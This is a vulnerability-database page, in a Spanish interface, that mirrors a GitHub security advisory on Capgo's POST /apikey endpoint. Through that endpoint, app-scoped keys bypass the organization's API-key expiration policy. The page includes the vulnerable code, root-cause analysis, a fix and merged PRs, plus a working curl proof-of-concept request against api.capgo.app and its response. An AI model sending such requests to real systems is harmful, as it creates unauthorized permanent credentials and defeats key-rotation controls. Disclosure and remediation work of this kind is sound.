llamaCVEVulnerability Intelligence
/
Advisory · GitHub

GHSA-J6P6-QQCG-3FWP

R - POST /apikey app-scoped API key creation bypasses organization expiration policy

Sin parche publicado
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición71 dDesde la divulgación, 9 sept 2026, 1:08 a. m.
Detección70 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
9 sept 26
18 nov 26
19 nov 26
9 sept 26
27 sept 26
15 oct 26
2 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-J6P6-QQCG-3FWP divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`POST /apikey` allows an authenticated organization member to create an app-scoped API key with no expiration, even when the app's owner organization has API key expiration enforcement enabled.

The bypass occurs when the request supplies `app_id` but omits `org_id`, `limited_to_orgs`, and `expires_at`. In that path, the app is resolved and the created key is scoped to the app, but the app's owner organization is never added to the organization list used for expiration policy validation.

As a result, organization controls such as `require_apikey_expiration = true` and `max_apikey_expiration_days` can be bypassed.

Details

Affected endpoint:

POST /apikey

Affected source files and lines:

supabase/functions/_backend/public/apikey/post.ts:65
  let allOrgIds: string[] = [...limitedToOrgs]

supabase/functions/_backend/public/apikey/post.ts:67-74
  org_id path correctly adds the org to allOrgIds.

supabase/functions/_backend/public/apikey/post.ts:75-81
  app_id path resolves the app and scopes the key to app.app_id, but does not add app.owner_org to allOrgIds.

supabase/functions/_backend/public/apikey/post.ts:84
  await validateExpirationAgainstOrgPolicies(allOrgIds, expiresAt, supabase)

supabase/functions/_backend/utils/supabase.ts:1555
  validateExpirationAgainstOrgPolicies returns early when orgIds.length === 0.

Root cause:

supabase/functions/_backend/public/apikey/post.ts:75-81 loads the app for app-scoped API key creation, but it only writes app.app_id into limitedToApps. It never adds app.owner_org to allOrgIds.

Therefore, when org_id and limited_to_orgs are omitted, post.ts:84 calls:

validateExpirationAgainstOrgPolicies([], expiresAt, supabase)

Because the org list is empty, the organization API key expiration policy is skipped.

Relevant code:

// supabase/functions/_backend/public/apikey/post.ts:65
let allOrgIds: string[] = [...limitedToOrgs]
// supabase/functions/_backend/public/apikey/post.ts:67-74
if (orgId) {
  const { data: org, error } = await supabase.from('orgs').select('*').eq('id', orgId).single()
  if (!org || error) {
    throw quickError(404, 'org_not_found', 'Org not found', { supabaseError: error })
  }
  limitedToOrgs.splice(0, limitedToOrgs.length, org.id)
  allOrgIds = [org.id]
}
// supabase/functions/_backend/public/apikey/post.ts:75-81
if (appId) {
  const { data: app, error } = await supabase.from('apps').select('*').eq('id', appId).single()
  if (!app || error) {
    throw quickError(404, 'app_not_found', 'App not found', { supabaseError: error })
  }
  limitedToApps.splice(0, limitedToApps.length, app.app_id)
}
// supabase/functions/_backend/public/apikey/post.ts:84
await validateExpirationAgainstOrgPolicies(allOrgIds, expiresAt, supabase)

During testing, the affected organization had expiration enforcement enabled:

{
  "id": "623c5839-8c68-4ace-803e-c695d9d28a2b",
  "name": "full-org-1774092639",
  "require_apikey_expiration": true,
  "max_apikey_expiration_days": 30
}

An app belonging to that organization was used:

{
  "id": "4c35fcf3-528f-4e08-b044-f18f3799a04c",
  "app_id": "com.bb.1775271739.cfprobe",
  "name": "cfprobe-1775271739",
  "owner_org": "623c5839-8c68-4ace-803e-c695d9d28a2b"
}
PoC

Precondition: the organization owning the target app has API key expiration enforcement enabled.

{
  "require_apikey_expiration": true,
  "max_apikey_expiration_days": 30
}

Exploit request:

API="https://api.capgo.app"
CAPGKEY="<valid_org_member_api_key>"
APP_UUID="4c35fcf3-528f-4e08-b044-f18f3799a04c"
NAME="policy-bypass-appid-only-$(date +%s)"

curl -sk -i -X POST "$API/apikey" \
  -H "authorization: $CAPGKEY" \
  -H "capgkey: $CAPGKEY" \
  -H "content-type: application/json" \
  --data "{\"app_id\":\"$APP_UUID\",\"name\":\"$NAME\",\"mode\":\"all\"}"

Observed result:

HTTP/2 200

The API created a permanent app-scoped key:

{
  "id": 76721,
  "created_at": "2026-04-24T13:27:53.366755+00:00",
  "user_id": "82fee9db-a12a-49ff-b0a3-a6c34ac89aed",
  "mode": "all",
  "name": "policy-bypass-appid-only-1777037294",
  "limited_to_orgs": [],
  "limited_to_apps": ["com.bb.1775271739.cfprobe"],
  "expires_at": null
}

This should not be allowed because the app belongs to an organization requiring API key expiration.

Expected result:

{
  "error": "expiration_required",
  "message": "This organization requires API keys to have an expiration date"
}

The test key was deleted after confirmation:

API="https://api.capgo.app"
CAPGKEY="<valid_org_member_api_key>"
KEY_ID="76721"

curl -sk -i -X DELETE "$API/apikey/$KEY_ID" \
  -H "authorization: $CAPGKEY" \
  -H "capgkey: $CAPGKEY"

Cleanup result:

{"status":"ok"}
Impact

An authenticated organization member can bypass organization-level API key expiration policy by creating an app-scoped API key instead of an org-scoped API key.

This allows creation of permanent or over-long-lived API keys despite the organization explicitly enabling:

  • `require_apikey_expiration`
  • `max_apikey_expiration_days`

The resulting key is scoped to an app in the protected organization and has `mode: "all"`. It remains valid indefinitely unless manually discovered and revoked.

This undermines key rotation, offboarding, incident response, and blast-radius controls for organizations that rely on API key expiration enforcement.

Suggested fix

When `app_id` is provided, include the fetched app's owner organization in the policy validation set before calling `validateExpirationAgainstOrgPolicies()`.

Example:

if (appId) {
  const { data: app, error } = await supabase.from('apps').select('*').eq('id', appId).single()
  if (!app || error) {
    throw quickError(404, 'app_not_found', 'App not found', { supabaseError: error })
  }

  limitedToApps.splice(0, limitedToApps.length, app.app_id)
  allOrgIds = [...new Set([...allOrgIds, app.owner_org])]
}

Also consider enforcing API key expiration policy at the database/RPC layer so direct insert paths and hashed-key creation helpers cannot bypass organization policy enforcement.

---

Fix PR (merged)

Intentional fix already on main:
- https://github.com/Cap-go/capgo.app/pull/1962 — added `resolveApikeyPolicyOrgIds()` so app-scoped creates hit org expiration policy
- https://github.com/Cap-go/capgo.app/pull/2279 — API keys v2: bindings require `org_id`; `POST /apikey` no longer accepts the legacy `app_id`-without-`org_id` shape

Re-verified 2026-08-26 on current main: `sanitizeClientBindings()` rejects missing `org_id`; policy check uses binding org IDs; `validateScopedAppOwnership()` requires `apps.owner_org = binding.org_id`. Regression tests in `tests/apikeys-expiration.test.ts`.

Reporter: please verify on current production. Bounty/credit is due only after that verification, per Capgo bounty policy.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Remediación

Estado del parche por paquete

La fuente no informa paquetes ni versiones corregidas.

Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Cap-go/capgo.app/security/advisories/GHSA-j6p6-qqcg-3fwp

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.